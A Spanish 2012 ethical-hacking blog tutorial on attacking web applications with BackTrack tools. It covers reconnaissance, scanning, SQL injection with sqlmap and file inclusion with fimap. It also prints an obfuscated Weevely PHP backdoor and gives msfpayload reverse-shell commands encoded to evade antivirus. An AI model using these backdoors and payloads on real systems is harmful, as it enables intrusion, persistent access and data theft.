viernes, 19 de octubre de 2012

[Penetration Testing - Hacking Etico] Análisis Web - Evaluación de Vulnerabilidades - Explotacion




INTRODUCCIÓN:

Hoy en día como muchos de nosotros tenemos conocimiento que en estos tiempos el Análisis de Aplicaciones Web juega un papel muy importante al hacer una Evaluación de la Seguridad y/o Penetration Testing, ya que esta nos brinda la información adecuada acerca de la aplicación web, como por ejemplo el tipo de Plugin que utiliza, tipos de CMS ya sea Joomla - WordPress u otros.

Esto nos ayudara mucho a determinar que Exploit debemos usar, o ver la manera exacta de explotar las vulnerabilidades que se pueden presentar al momento de realizar las pruebas de penetración.

Para ello usaremos como es de costumbre en este Blog, BackTrack 5 R3, una distro de Linux basada en Ubuntu hecha perfectamente para llevar a cabo estas pruebas, ya que viene con un conjunto de herramientas muy importantes que servirá de mucho para obtener toda la información necesaria.


MÉTODOS DE ANÁLISIS DE APLICACIONES WEB:

  • Network Mapping
  • CMS Identification
  • IDS/IPS Detection
  • Open Source Analysis
  • Web Crawlers
  • Vulnerability Assessment and Exploitation
  • Maintaining Access


NETWORK MAPPING:

Network Mapping es el estudio de la conectividad física de redes. Internet Mapping es el estudio de la conectividad física de la Internet. Network Mapping a menudo se trata de determinar los servidores y sistemas operativos se ejecutan en redes. 

La ley y la ética de escaneo de puertos son complejas. Un análisis de la red puede ser detectada por los seres humanos o sistemas automatizados, y se trata como un acto malicioso.

En la suite de BackTrack se incluye NMAP, una herramienta que ya todos conocemos por su potencia y eficacia a la hora de utilizarla, la cual nos sirve de mucho para poder llevar a cabo este método tan importante en una Auditoria Web.

Nmap:

Nmap (mapeador de redes) es una herramienta de código abierto para exploración de red y auditoría de seguridad. Se diseñó para analizar rápidamente grandes redes, aunque funciona muy bien contra equipos individuales. Nmap utiliza paquetes IP "crudos" («raw», N. del T.) en formas originales para determinar qué equipos se encuentran disponibles en una red, qué servicios (nombre y versión de la aplicación) ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros de paquetes o cortafuegos se están utilizando así como docenas de otras características. 

Esta herramienta es muy usada por los Pentesters cuando realizan  Pruebas de Penetración.

Uso:
  • nmap www.site.com



CMS IDENTIFICATION:

  • Blindelephant
  • CMS-explorer
  • Whatweb

BlindElephant:

BlindElephant es una herramienta basada en python que se utiliza para realizar Fingerprinting en Aplicaciones Web.

La herramienta es rápida, tiene poco ancho de banda y esta altamente automatizado.

Uso:
  • /pentest/web/blindelephant/src/blindelephant# ./BlindElephant.py http://site.com/ cms




CMS-Explorer:

Es otra herramienta basada en Perl que sirve para realizar Fingerprinting en Aplicaciones Web, como también puede ser usado para identificar el tipo de CMS utilizado, por tanto, se realiza el ataque de acuerdo con la información obtenida.

Uso:
  • /pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://site.com/ -type cms




WhatWeb:

Es otra herramienta que se utiliza para identificar el tipo de sistemas de gestión contenidos (CMS), plataforma de blogs, estadísticas, bibliotecas javascript y servidores utilizados. Cuenta con 900 Plugins para fines de análisis web.

Uso:
  • /pentest/enumeration/web/whatweb# ./whatweb -v www.site-com




IDS-IPS DETECTION

Durante la realización de un VA/PT en un dominio, existe la posibilidad de que IDS-IPS esten instalados, esto aveces puede parar varios tipos de ataques realizados en el dominio.

Una gran cantidad de WAF se venden a las Empresas como una técnica valida para la mitigacion de vulnerabilidades en las Aplicaciones Web.

Por suerte, WAF es facil de detectar, porque la mayoría de estos utilizan la firma basada en métodos de detección, por lo tanto, el atacante puede tratar de codificar los parámetros de ataque y tratar de bypassear el WAF.

En la suite de BackTrack se incluyen dos herramientas útiles para la detección de los IDS-IPS, las cuales son:

  • Waffit
  • UA-Tester

Waffit:

Es una herramienta que detecta los posibles Firewall que pueda tener un servidor web, esto sirve de mucho ya que detectar el servidor de seguridad detrás del dominio es un paso muy importante en el proceso de Pruebas de Penetración.

Uso:
  • /pentest/web/waffit# ./wafw00f.py http://site.com/



UA-Tester:

Esta herramienta esta diseñada para comprobar automáticamente si una URL especifica esta usando una lista Standar o No-Standar User-Agent proporcionada por el usuario (1 por linea).

Uso:
  • /pentest/enumeration/web/ua-tester# ./UAtester.py -u www.site.com




OPEN SOURCE ANALYSIS:

Open-Source Analysis se realiza utilizando herramientas como GHDB, revhosts, xssed y Maltego. El GHDB (Google Hack Data Base) y Xssed estan vinculadas a sitios webs, mientras que las dos otras son herramientas de consola.

GHDB:

Google Hacking Database, el equipo de exploit-db mantiene una base de datos para google dorks que pueden ayudar mucho a los Pen-testers en la recopilación de información. Podemos usar las dork's para encontrar ciertos tipos de servidores vulnerables u otra información.

Por ejemplo, un dork Google como "Microsoft-IIS/6.0" intitle:index.of " se puede utilizar para detectar el servidor que ejecuta Microsoft IIS 6.0. 




Xssed:

Xssed.com es otro sitio web que contiene una lista de sitios web vulnerables a Cross Site Scripting, presentada por varios autores.

Se puede abrir desde: Applications - Backtrack - Information Gathering - Web Application Analysis - Open Source Analysis - Xssed.


Revhosts:

Revhosts es un proyecto pasivo escrito en Python que se utiliza para la recopilación de información (es decir, el Host, VirtualHost, entrada de DNS, directorios, dirección de correo, subred, etc.) Esta herramienta se encuentra tanto en la interfaz gráfica de usuario y la consola.

Se ubica en: Applications - BackTrack - Information Gathering - Web Application Analysis - Open Source Analysis - Revhosts.




WEB CRAWLERS:

En esta ultima categoría de Análisis Web, se utilizan los famosos Crawlers, esto ayudara mucho a enumerar los archivos "escondidos" dentro de un servidor web.

La suite de BackTrack cuenta con muchas herramientas para llevar a cabo este tipo de análisis  como son el Dirb, Golismero, SqlScan, Deblaze y WebShag.

WebShag tiene opciones como escaneo de puertos, recopilación de información básica, spider y fuzzing , se puede encontrar en: Applications - BackTrack - Information Gathering - Web Application Analysis - Web Crawlers - WebShag Gui.




VULNERABILITY ASSESSMENT AND EXPLOITATION:

La etapa de evaluación de la vulnerabilidad es donde se puede explorar nuestro objetivo en busca de errores, pero antes de hacer una evaluación de la vulnerabilidad, la recopilación de información sobre el objetivo es mucho más útil. 

La fase de recopilación de información sigue siendo el paso clave antes de realizar nuevos ataques, simplemente porque hace el trabajo más fácil, por ejemplo, en la primera etapa: en el uso de escáners para identificar el CMS como BlindElephant, se escaneo y se encontró la versión de la aplicación instalada. 

Ahora, en la etapa de evaluación de la vulnerabilidad, se pueden utilizar muchas herramientas (escaners) que ayudaran mucho a encontrar respectivas vulnerabilidades en un servidor web especifico, como por ejemplo:

Joomscan:

Es una herramienta basada en Perl que se utiliza para identificar las vulnerabilidades mas conocidas como Sql Injection, XSS u otras, en los servidores web basados en la plataforma Joomla.

Uso:
  • /pentest/web/joomscan# ./joomscan.pl -u www.site.com




SqlMap:

Sqlmap es una herramienta de código abierto que ayuda a automatizar el proceso de detectar y explotar las vulnerabilidades de inyección SQL permitiendo tener acceso total a la base de datos de los servidores web.

Uso:
  • /pentest/database/sqlmap# ./sqlmap.py -u http://www.site.com/ --dbs




Fimap:

Fimap es una pequeña herramienta programada en python que puede encontrar, preparar, auditar & explotar automáticamente los errores de Remote File Inclusion en aplicaciones web. Fimap debe ser algo como sqlmap pero sólo para LFI/RFI en lugar de la inyección de SQL. Esta actualmente bajo desarrollo, pero es utilizable. El objetivo de Fimap es mejorar la calidad y la seguridad de su sitio web.

Uso:
  • /pentest/web/fimap# ./fimap.py -u http://localhost/test.php?file=bang&id=23
  • /pentest/web/fimap# ./fimap.py -g -q 'noticias.php?id='



TheHarvester:

TheHarvester es una herramienta para recopilar cuentas de correo electrónico, nombres de usuario y nombres de host o subdominios de diferentes fuentes públicas como motores de búsqueda y los servidores de claves PGP.

Uso:
  • ./theharvester.py -d microsoft.com -l 500 -b google
  • ./theharvester.py -d microsoft.com -b pgp
  • ./theharvester.py -d microsoft -l 200 -b linkedin




Shodan:

Esto es otra herramienta de evaluación web, una utilidad particular para los pentesters. Puede ser utilizado para recoger una serie de información inteligente sobre los dispositivos que están conectados a la Internet. Podemos, por ejemplo, buscar para ver si todos los dispositivos de red, como routers, VoIP, impresoras, cámaras, etc están en su lugar. Para buscar si algún servicio se está ejecutando en el dominio, la sintaxis sería:
  • hostname:target.com port:80,21,22
Si deseamos simplemente conocer los resultados sobre el nombre de host, simplemente, la sintaxis seria:
  • hostname:target.com






W3af:

W3af es una herramienta de Auditoria de Seguridad para Aplicaciones Webs, se encuentra básicamente dividido en varios módulos como el Ataque, Auditoria, Exploit, Descubrimiento, Evasion y Brute Force, lo cual se pueden usar todos en consecuencia.

Estos módulos en W3af viene con varios módulos secundarios como, por ejemplo, podemos seleccionar la opción XSS en el módulo de Auditoria  suponiendo que es necesario para realizar una determinada Auditoria.

Se ubica en: Applications - BackTrack - Vulnerability Assessment - Web Application Assessment - Web Vulnerability Scanners - w3af


Una vez completado el análisis, w3af muestra información detallada acerca de las vulnerabilidades encontradas en el sitio web especificado, que se puede comprometer en consecuencia de una explotación adicional.


Una vez que la vulnerabilidad es encontrada, podemos configurar los plugins en el modulo "Exploit" y realizar nuevos ataques, que nos pueden ayudar a obtener una WebShell en el sitio objetivo. Otra ventaja importante de w3af es que también viene con MSF para tomar el ataque al siguiente nivel. 


Uniscan:

Uniscan es un escáner de vulnerabilidades Web, dirigido a la seguridad informática, cuyo objetivo es la búsqueda de vulnerabilidades en los sistemas web. Está licenciado bajo GNU GENERAL PUBLIC LICENSE 3.0 (GPL 3).

Uniscan está desarrollado en Perl, tiene un fácil manejo de expresiones regulares y también es multi-threaded.

Se puede descargar desde el siguiente link: Download Uniscan Web Vulnerability Scanner v6.2

Uso:
  • ./uniscan.pl -u http://www.site.com/ -qweds




Nikto:

Nikto es un escáner de servidor web que realiza pruebas completas contra los servidores web para varios artículos, incluyendo más de 6500 archivos/CGIs potencialmente peligrosos, los controles de versiones no actualizadas de más de 1250 servidores, y los problemas específicos de la versión de más de 270 servidores. También comprueba los elementos de configuración del servidor, tales como la presencia de múltiples archivos de índice y opciones de servidor HTTP.

Se ubica en: Applications - BackTrack - Vulnerability Assessment - Web Application Assessment - Web Vulnerability Scanners - Nikto

Uso:
  • /pentest/web/nikto# ./nikto.pl -host ww.site.com




MAINTAINING ACCESS:

Una vez que tengamos acceso a la página web (objetivo), tenemos que mantener el acceso para su uso futuro, porque no queremos estar empezando desde cero una y otra vez. Con el fin de evitar esto, podemos cargar las shell's web o puertas traseras a la página web.

La codificación de la puerta trasera también es importante, ya que no debe crear "ruido" una vez cargado en el servidor. Si es así, entonces los administradores pueden fácilmente detectar y eliminar las puertas traseras.

En la suite de BackTrack 5r3 se incorporan buenas herramientas para llevar a cabo este proceso, las cuales son los siguientes:


Weevely:

Weevely es una herramienta esencial para la explotación posterior de aplicaciones web, y se puede utilizar como puerta trasera o como una shell web para gestionar las cuentas web. Weevely busca funciones como system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval()) utilizando las funciones activadas en una servidor remoto. El código siguiente es un ejemplo del código de la puerta trasera creada por Weevely.

------------------------------------------------------------------------
eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwk YSk7IGlmKHJlc2V0KCRhKT09J2luJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGZv c2VjPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luK GFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPC9mb3NlYz4nO30='));
------------------------------------------------------------------------

Se ubica en: Applications - BackTrack - Maintaining Access - Web BackDoors - Weevely

Uso:

  • /pentest/backdoors/web/weevely# ./weevely.py generate password /root/back.php (creara el backdoor)

  • /pentest/backdoors/web/weevely# ./weevely.py http://www.site.com/back.php password (conectara con el servidor)



MsfPayload:

Metasploit se puede utilizar para crear puertas traseras que luego pueden ser utilizados para mantener el acceso en el servidor web. Esto se puede hacer con la ayuda de msfpayload. 

Los pasos para crear puerta trasera en msfpayload son como sigue:

Tenemos que seleccionar el Payload que vamos a utilizar para obtener un shell Meterpreter generado a través de una conexión TCP inverso. El comando sería:

  • msfpayload windows/meterpreter/reverse_tcp

Esta Payload tiene dos parámetros: LHOST (nuestra IP) y el LPORT para seleccionar el puerto que vamos a utilizar. La "R" se utiliza para dar al archivo de salida en formato de datos RAW para que podamos codificar posteriormente.

  • msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R

Este comando creará el Payload, pero tiene que ser codificado con el fin de evitar la detección de los antivirus, para tal caso se puede hacer usando la opción msfencode, para hacer esto, necesitamos usar barra vertical ("|")

  • windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R| msfencode –e x86/shikata_ga_nai –t exe >> bucker.exe 

-e se usa para especificar el tipo de codificación necesario, en este caso estoy usando la codificación shikata_ga_nai y -t para el tipo de extension del archivo (exe).

Por ejemplo, si deseamos ver la lista de los codificadores disponibles en MSF, usamos el siguiente comando:
  • msfpayload windows/meterpreter/reverse_tcp -l



CONCLUSIÓN:

Estos son sólo unos pocos métodos que se pueden seguir para realizar la explotación de las vulnerabilidades en una aplicación web. Una vez que tengamos la información acerca de nuestro objetivo, tratar de realizar una evaluación de la vulnerabilidad con el fin de obtener información sobre los exploits que se pueden utilizar. Una vez hecho esto, explotar las vulnerabilidades y si es necesario, cargar un backdoor, pero antes de eso, se debe codificar el backdoor con el fin de evitar la detección. 

Espero que esto te ayude a encontrar la vulnerabilidad, la explotación y la forma de mantener el acceso a tu objetivo.

Saludos y hasta la próxima ;)

11 comentarios:

  1. joder cada día mejor tío como lo haces?

    COMO LO HACES?

    ResponderEliminar
  2. cada dia me gusta mas este blog

    ResponderEliminar
  3. Genial, siempre estoy esperando nuevos artículos, no pares. Gracias.

    ResponderEliminar
  4. puedes ayudar sobre joomla! paso a paso! ver vulnerabilidades y formas de hackeo

    ResponderEliminar
  5. Un Video Que hiciera Todo Eso No quedaria Mal ;)

    ResponderEliminar
  6. ayer conoci este blog, y no paro de leer articulo tras articulo....bien (Y)

    ResponderEliminar
  7. Hoy es mi dia de Suerte !!!, lo digo x encontrar este BLOG, asi como todos Ustedes me encanta el Blog!!!, sigue asi men ,.. XVR ,..



    ************ "Humano, tu capacidad no tiene limite" ********conocimiento Infinito************

    ResponderEliminar
  8. Genial me gusto mucho .
    muy bien explicado y detallado
    xD

    ResponderEliminar
  9. Para el analisis de aplicaciones web existen muchas herramientas una de ellas es agileload ( http://es.agileload.com)la cual te facilita realizar pruebas de carga y rendimiento detectando así las anomalías que puedan suuceder , además analisa los resultados y te brinda recomendaciones que luego decides sin plasmarlo en reportes que esta herramienta te permite crear y editar .

    ResponderEliminar